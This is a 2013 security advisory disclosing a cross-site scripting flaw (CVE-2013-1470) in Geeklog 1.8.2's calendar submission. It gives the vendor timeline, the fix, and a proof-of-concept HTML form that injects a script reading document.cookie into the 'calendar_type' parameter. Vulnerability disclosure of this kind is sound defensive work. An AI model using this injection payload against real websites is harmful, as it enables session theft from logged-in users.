Advisory ID: HTB23143
Product: Geeklog=20
Vendor: http://www.geeklog.net
Vulnerable Version(s): 1.8.2 and probably prior
Tested Version: 1.8.2
Vendor Notification: February 6, 2013=20
Vendor Patch: February 20, 2013=20
Public Disclosure: February 27, 2013=20
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1470
Risk Level: Medium=20
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
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Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Geeklog =
that can be exploited to perform Cross-Site Scripting (XSS) attacks.
1) Cross-Site Scripting (XSS) in Geeklog: CVE-2013-1470
The vulnerability exists due to insufficient filtration of user-supplied da=
ta in "calendar_type" HTTP POST parameter passed to "/calendar/index.php" s=
cript. A remote attacker can trick a logged-in user to open a specially cra=
fted link and execute arbitrary HTML and script code in his browser in cont=
ext of the vulnerable website.
The exploitation example below uses the "alert()" JavaScript function to di=
splay user's cookies:=20
<form action=3D"http://[host]/submit.php?type=3Dcalendar" method=3D"post">
<input type=3D"hidden" name=3D"mode" value=3D"Submit">=09
<input type=3D"hidden" name=3D"calendar_type" value=3D'"><script>alert(docu=
ment.cookie);</script>'>
<input type=3D"submit" id=3D"btn">
</form>
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Solution:
Upgrade to Geeklog 1.8.2sr1
More Information:
http://www.geeklog.net/article.php/geeklog-1.8.2sr1
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References:
[1] High-Tech Bridge Advisory HTB23143 - https://www.htbridge.com/advisory/=
HTB23143 - Cross-Site Scripting (XSS) in Geeklog.
[2] Geeklog - http://www.geeklog.net/ - Geeklog is an open source applicati=
on for managing dynamic web content. It is written in PHP and supports MySQ=
L, PostgreSQL, or MS SQL as the database backend.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
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Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.